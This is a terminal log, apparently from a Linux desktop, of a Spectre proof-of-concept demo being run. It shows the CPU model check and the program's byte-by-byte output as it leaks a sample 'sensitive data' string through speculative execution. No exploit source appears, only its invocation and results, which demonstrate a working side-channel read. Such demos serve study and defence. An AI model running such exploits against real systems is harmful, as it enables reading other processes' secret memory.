hikaru@desktop:/tmp/spectre/spectre-attack-demo-master$ grep -m 1 'name' /proc/cpuinfo model name : Intel(R) Core(TM) i7-2700K CPU @ 3.50GHz hikaru@desktop:/tmp/spectre/spectre-attack-demo-master$ ./spectre spectre.c Reading 100 bytes: Reading at malicious_x = 0xffffffffffdfee58... Success: 0x54=?T? score=2 Reading at malicious_x = 0xffffffffffdfee59... Success: 0x68=?h? score=9 Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x69=?i? score=2 Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x73=?s? score=35 (second best: 0x00 score=13) Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x20=? ? score=11 (second best: 0x05 score=3) Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x69=?i? score=21 (second best: 0x00 score=10) Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x73=?s? score=2 Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x20=? ? score=11 (second best: 0x00 score=1) Reading at malicious_x = 0xffffffffffdfee60... Success: 0x73=?s? score=9 Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6F=?o? score=9 Reading at malicious_x = 0xffffffffffdfee62... Success: 0x6D=?m? score=2 Reading at malicious_x = 0xffffffffffdfee63... Success: 0x65=?e? score=2 Reading at malicious_x = 0xffffffffffdfee64... Success: 0x20=? ? score=143 (second best: 0x00 score=71) Reading at malicious_x = 0xffffffffffdfee65... Success: 0x73=?s? score=2 Reading at malicious_x = 0xffffffffffdfee66... Success: 0x61=?a? score=15 (second best: 0x00 score=7) Reading at malicious_x = 0xffffffffffdfee67... Success: 0x6D=?m? score=2 Reading at malicious_x = 0xffffffffffdfee68... Success: 0x70=?p? score=111 (second best: 0x00 score=55) Reading at malicious_x = 0xffffffffffdfee69... Success: 0x6C=?l? score=2 Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x65=?e? score=55 (second best: 0x00 score=27) Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x20=? ? score=2 Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x73=?s? score=243 (second best: 0x00 score=117) Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x65=?e? score=2 Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x6E=?n? score=107 (second best: 0x00 score=49) Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x73=?s? score=2 Reading at malicious_x = 0xffffffffffdfee70... Success: 0x69=?i? score=79 (second best: 0x00 score=39) Reading at malicious_x = 0xffffffffffdfee71... Success: 0x74=?t? score=7 (second best: 0x05 score=1) Reading at malicious_x = 0xffffffffffdfee72... Success: 0x69=?i? score=77 (second best: 0x00 score=38) Reading at malicious_x = 0xffffffffffdfee73... Success: 0x76=?v? score=2 Reading at malicious_x = 0xffffffffffdfee74... Success: 0x65=?e? score=97 (second best: 0x00 score=44) Reading at malicious_x = 0xffffffffffdfee75... Success: 0x20=? ? score=97 (second best: 0x00 score=44) Reading at malicious_x = 0xffffffffffdfee76... Success: 0x64=?d? score=275 (second best: 0x00 score=133) Reading at malicious_x = 0xffffffffffdfee77... Success: 0x61=?a? score=2 Reading at malicious_x = 0xffffffffffdfee78... Success: 0x74=?t? score=127 (second best: 0x00 score=63) Reading at malicious_x = 0xffffffffffdfee79... Success: 0x61=?a? score=59 (second best: 0x00 score=25) Reading at malicious_x = 0xffffffffffdfee7a... Success: 0x00=??? score=75 (second best: 0x05 score=34) Reading at malicious_x = 0xffffffffffdfee7b... Unclear: 0x00=??? score=997 (second best: 0x05 score=813) Reading at malicious_x = 0xffffffffffdfee7c... Unclear: 0x00=??? score=997 (second best: 0x05 score=750) Reading at malicious_x = 0xffffffffffdfee7d... Unclear: 0x00=??? score=997 (second best: 0x05 score=871) Reading at malicious_x = 0xffffffffffdfee7e... Success: 0x00=??? score=857 (second best: 0x05 score=427) Reading at malicious_x = 0xffffffffffdfee7f... Success: 0x00=??? score=211 (second best: 0x05 score=102) Reading at malicious_x = 0xffffffffffdfee80... Success: 0x54=?T? score=2 Reading at malicious_x = 0xffffffffffdfee81... Success: 0x68=?h? score=267 (second best: 0x00 score=129) Reading at malicious_x = 0xffffffffffdfee82... Success: 0x69=?i? score=2 Reading at malicious_x = 0xffffffffffdfee83... Success: 0x73=?s? score=49 (second best: 0x00 score=20) Reading at malicious_x = 0xffffffffffdfee84... Success: 0x20=? ? score=151 (second best: 0x00 score=75) Reading at malicious_x = 0xffffffffffdfee85... Success: 0x69=?i? score=157 (second best: 0x00 score=78) Reading at malicious_x = 0xffffffffffdfee86... Success: 0x73=?s? score=2 Reading at malicious_x = 0xffffffffffdfee87... Success: 0x20=? ? score=21 (second best: 0x00 score=10) Reading at malicious_x = 0xffffffffffdfee88... Success: 0x73=?s? score=2 Reading at malicious_x = 0xffffffffffdfee89... Success: 0x6F=?o? score=23 (second best: 0x00 score=11) Reading at malicious_x = 0xffffffffffdfee8a... Success: 0x6D=?m? score=2 Reading at malicious_x = 0xffffffffffdfee8b... Success: 0x65=?e? score=149 (second best: 0x00 score=74) Reading at malicious_x = 0xffffffffffdfee8c... Success: 0x20=? ? score=2 Reading at malicious_x = 0xffffffffffdfee8d... Success: 0x6F=?o? score=165 (second best: 0x00 score=82) Reading at malicious_x = 0xffffffffffdfee8e... Success: 0x74=?t? score=2 Reading at malicious_x = 0xffffffffffdfee8f... Success: 0x68=?h? score=69 (second best: 0x00 score=34) Reading at malicious_x = 0xffffffffffdfee90... Success: 0x65=?e? score=2 Reading at malicious_x = 0xffffffffffdfee91... Success: 0x72=?r? score=145 (second best: 0x00 score=68) Reading at malicious_x = 0xffffffffffdfee92... Success: 0x20=? ? score=2 Reading at malicious_x = 0xffffffffffdfee93... Success: 0x73=?s? score=207 (second best: 0x00 score=103) Reading at malicious_x = 0xffffffffffdfee94... Success: 0x61=?a? score=2 Reading at malicious_x = 0xffffffffffdfee95... Success: 0x6D=?m? score=13 (second best: 0x00 score=6) Reading at malicious_x = 0xffffffffffdfee96... Success: 0x70=?p? score=169 (second best: 0x00 score=80) Reading at malicious_x = 0xffffffffffdfee97... Success: 0x6C=?l? score=2 Reading at malicious_x = 0xffffffffffdfee98... Success: 0x65=?e? score=85 (second best: 0x00 score=42) Reading at malicious_x = 0xffffffffffdfee99... Success: 0x20=? ? score=2 Reading at malicious_x = 0xffffffffffdfee9a... Success: 0x73=?s? score=157 (second best: 0x00 score=78) Reading at malicious_x = 0xffffffffffdfee9b... Success: 0x65=?e? score=2 Reading at malicious_x = 0xffffffffffdfee9c... Success: 0x6E=?n? score=109 (second best: 0x00 score=54) Reading at malicious_x = 0xffffffffffdfee9d... Success: 0x73=?s? score=133 (second best: 0x00 score=66) Reading at malicious_x = 0xffffffffffdfee9e... Success: 0x69=?i? score=2 Reading at malicious_x = 0xffffffffffdfee9f... Success: 0x74=?t? score=423 (second best: 0x00 score=211) Reading at malicious_x = 0xffffffffffdfeea0... Success: 0x69=?i? score=2 Reading at malicious_x = 0xffffffffffdfeea1... Success: 0x76=?v? score=71 (second best: 0x00 score=35) Reading at malicious_x = 0xffffffffffdfeea2... Success: 0x65=?e? score=2 Reading at malicious_x = 0xffffffffffdfeea3... Success: 0x20=? ? score=141 (second best: 0x00 score=70) Reading at malicious_x = 0xffffffffffdfeea4... Success: 0x64=?d? score=2 Reading at malicious_x = 0xffffffffffdfeea5... Success: 0x61=?a? score=107 (second best: 0x00 score=49) Reading at malicious_x = 0xffffffffffdfeea6... Success: 0x74=?t? score=611 (second best: 0x00 score=301) Reading at malicious_x = 0xffffffffffdfeea7... Success: 0x61=?a? score=2 Reading at malicious_x = 0xffffffffffdfeea8... Success: 0x00=??? score=213 (second best: 0x05 score=105) Reading at malicious_x = 0xffffffffffdfeea9... Success: 0x25=?%? score=2 Reading at malicious_x = 0xffffffffffdfeeaa... Success: 0x70=?p? score=51 (second best: 0x00 score=21) Reading at malicious_x = 0xffffffffffdfeeab... Success: 0x00=??? score=607 (second best: 0x05 score=300) Reading at malicious_x = 0xffffffffffdfeeac... Success: 0x25=?%? score=2 Reading at malicious_x = 0xffffffffffdfeead... Success: 0x64=?d? score=19 (second best: 0x00 score=5) Reading at malicious_x = 0xffffffffffdfeeae... Unclear: 0x00=??? score=997 (second best: 0x05 score=873) Reading at malicious_x = 0xffffffffffdfeeaf... Success: 0x52=?R? score=2 Reading at malicious_x = 0xffffffffffdfeeb0... Success: 0x65=?e? score=15 (second best: 0x00 score=7) Reading at malicious_x = 0xffffffffffdfeeb1... Success: 0x61=?a? score=2 Reading at malicious_x = 0xffffffffffdfeeb2... Success: 0x64=?d? score=175 (second best: 0x00 score=87) Reading at malicious_x = 0xffffffffffdfeeb3... Success: 0x69=?i? score=2 Reading at malicious_x = 0xffffffffffdfeeb4... Success: 0x6E=?n? score=97 (second best: 0x00 score=44) Reading at malicious_x = 0xffffffffffdfeeb5... Success: 0x67=?g? score=2 Reading at malicious_x = 0xffffffffffdfeeb6... Success: 0x20=? ? score=143 (second best: 0x00 score=71) Reading at malicious_x = 0xffffffffffdfeeb7... Success: 0x25=?%? score=2 Reading at malicious_x = 0xffffffffffdfeeb8... Success: 0x64=?d? score=109 (second best: 0x00 score=54) Reading at malicious_x = 0xffffffffffdfeeb9... Success: 0x20=? ? score=135 (second best: 0x00 score=67) Reading at malicious_x = 0xffffffffffdfeeba... Success: 0x62=?b? score=163 (second best: 0x00 score=77) Reading at malicious_x = 0xffffffffffdfeebb... Success: 0x79=?y? score=2